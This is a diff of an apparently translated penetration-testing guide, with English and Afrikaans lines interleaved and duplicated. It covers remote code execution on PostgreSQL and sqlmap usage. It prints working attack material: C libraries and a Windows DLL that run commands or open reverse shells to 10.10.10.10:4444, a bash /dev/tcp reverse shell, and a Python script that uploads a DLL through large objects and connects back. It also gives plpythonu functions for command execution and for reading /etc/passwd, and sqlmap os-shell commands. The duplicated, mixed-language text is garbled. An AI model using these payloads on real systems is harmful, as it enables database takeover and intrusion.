IF fh <= 2 THEN
RETURN 1;
END IF;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
SELECT close(fh) INTO rs;
RETURN 0;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
END;
$$ LANGUAGE 'plpgsql';
```
</details>
However, when attempted on greater versions **the following error was shown**:
egter, toe dit op groter weergawes probeer is **is die volgende fout gewys**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Hierdie fout word in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html) verduidelik:
This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek op te laai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die benutting van PostgreSQL-stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
#### Compile the library
Get the PsotgreSQL version with:
#### Compile die biblioteek
Kry die PsotgreSQL weergawe met:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Vir kompatibiliteit is dit noodsaaklik dat die hoof weergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x reeks suksesvolle integrasie verseker.
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
To install that version in your system:
Om daardie weergawe in jou stelsel te installeer:
```bash
apt install postgresql postgresql-server-dev-9.6
```
And compile the library:
En kompileer die biblioteek:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -120,27 +109,23 @@ PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Then upload the compiled library and execute commands with:
Laai dan die saamgestelde biblioteek op en voer opdragte uit met:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with:
U kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en kan selfs **hierdie proses outomatiseer** (as u PostgreSQL-toegang het) met:
{% embed url="https://github.com/Dionach/pgexec" %}
### RCE in Windows
The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it:
Die volgende DLL neem as invoer die **naam van die binêre** en die **nommer** van **keer** wat u dit wil uitvoer en voer dit uit:
```c
#include "postgres.h"
#include <string.h>
@ -162,36 +147,32 @@ in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
You can find the DLL compiled in this zip:
U kan die DLL wat saamgepers is in hierdie zip vind:
{% file src="../../../images/pgsql_exec.zip" %}
You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times:
U kan aan hierdie DLL **watter binêre om uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde-shel vind:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -213,46 +194,46 @@ PG_MODULE_MAGIC;
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
@ -264,91 +245,83 @@ PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
PG_RETURN_INT32(arg + 1);
}
```
Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell:
Let op hoe in hierdie geval die **kwaadwillige kode binne die DllMain-funksie is**. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net **om die DLL te laai** sal die **terugskakel** uitvoer:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: _command eval_, _exec_ en _cleanup_) met multiversieondersteuning.
The [PolyUDF project](https://github.com/rop-la/PolyUDF) is also a good starting point with the full MS Visual Studio project and a ready to use library (including: _command eval_, _exec_ and _cleanup_) with multiversion support.
### RCE in die nuutste PostgreSQL weergawes
### RCE in newest Prostgres versions
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK_SERVICE or postgres accounts.
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisbedrywighede soos om tabelles op te dateer of te skep.
Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **toelaat dat gidse deurgegaan** word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie **deurgang benut** om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
#### Aanvalstroom
#### Attack flow
First of all you need to **use large objects to upload the dll**. You can see how to do that here:
Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Note dat jy nie die `.dll` uitbreiding hoef by te voeg nie, aangesien die create funksie dit sal byvoeg._
_Note that you don't need to append the `.dll` extension as the create function will add it._
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
In the same page this **exploit to automate** this technique was given:
Vir meer inligting **lees die** [**oorspronklike publikasie hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In daardie publikasie **was dit die** [**kode wat gebruik is om die postgres uitbreiding te genereer**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes_).\
Op dieselfde bladsy is hierdie **exploit om** hierdie tegniek te outomatiseer gegee:
```python
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## References
## Verwysings
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,37 @@
# RCE with PostgreSQL Languages
# RCE met PostgreSQL Tale
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL Languages
## PostgreSQL Tale
The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
You can **get them running**:
Die PostgreSQL-databasis waartoe jy toegang het, mag verskillende **skripting tale geïnstalleer** hê wat jy kan misbruik om **arbitraire kode** uit te voer.
Jy kan **hulle aan die gang kry**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het **2 variasies**: die **vertroude** en die **onvertroude**. Die **onvertroude** sal 'n naam hê wat **eindig op "u"** en sal die weergawe wees wat jou toelaat om **kode** uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:
- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (any other programming language using an insecure version)
- ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)
> [!WARNING]
> If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
> As jy vind dat 'n interessante taal **geïnstalleer** is maar **onvertroude** deur PostgreSQL (**`lanpltrusted`** is **`false`**) kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word nie:
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # To check your permissions over the table pg_language
> # Om jou regte oor die tabel pg_language te kontroleer
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```
> [!CAUTION]
> If you don't see a language, you could try to load it with (**you need to be superadmin**):
> As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (**jy moet superadmin wees**):
>
> ```
> CREATE EXTENSION plpythonu;
@ -43,248 +41,229 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours*
> CREATE EXTENSION plrubyu;
> ```
Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
Let daarop dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na [**hierdie**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer selfs al vind jy net die **vertroude** een geïnstalleer.
## plpythonu/plpython3u
{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}
{{#tab name="Get OS user"}}
{{#tab name="Kry OS gebruiker"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}
{{#tab name="List dir"}}
{{#tab name="Lys gids"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{{#endtab}}
{{#tab name="Find W folder"}}
{{#tab name="Vind W gids"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}
{{#tab name="Find File"}}
{{#tab name="Vind Lêer"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{{#endtab}}
{{#tab name="Find executables"}}
{{#tab name="Vind uitvoerbare"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}
{{#tab name="Find exec by subs"}}
{{#tab name="Vind exec deur subs"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}
{{#tab name="Read"}}
{{#tab name="Lees"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}
{{#tab name="Get perms"}}
{{#tab name="Kry regte"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}
{{#tab name="Request"}}
{{#tab name="Versoek"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
@ -293,21 +272,20 @@ SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}
## pgSQL
Check the following page:
Kyk na die volgende bladsy:
{{#ref}}
pl-pgsql-password-bruteforce.md
@ -315,11 +293,10 @@ pl-pgsql-password-bruteforce.md
## C
Check the following page:
Kyk na die volgende bladsy:
{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
# Basic arguments for SQLmap
## Generic
# Basiese argumente vir SQLmap
## Generies
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -20,11 +17,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Verkry Inligting
## Retrieve Information
### Internal
### Intern
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -32,9 +27,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DB data
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -43,32 +36,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Inspuitplek
# Injection place
## From Burp/ZAP capture
Capture the request and create a req.txt file
## Van Burp/ZAP vang
Vang die versoek en skep 'n req.txt lêer
```bash
sqlmap -r req.txt --current-user
```
## GET Request Injection
## GET Versoek Inspuiting
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST Request Injection
## POST Versoek Inspuiting
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injections in Headers and other HTTP Methods
## Inspuitings in Headers en ander HTTP Metodes
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -82,16 +67,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Second order injection
## Tweede orde inspuiting
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
## Skulpin
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -102,9 +83,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Crawl a website with SQLmap and auto-exploit
## Krap 'n webwerf met SQLmap en outomatiese eksploitasie
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -112,83 +91,73 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Pas Injectie Aan
# Customizing Injection
## Set a suffix
## Stel 'n Suffix In
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefix
## Voorvoegsel
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Help finding boolean injection
## Help om booleaanse inspuiting te vind
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
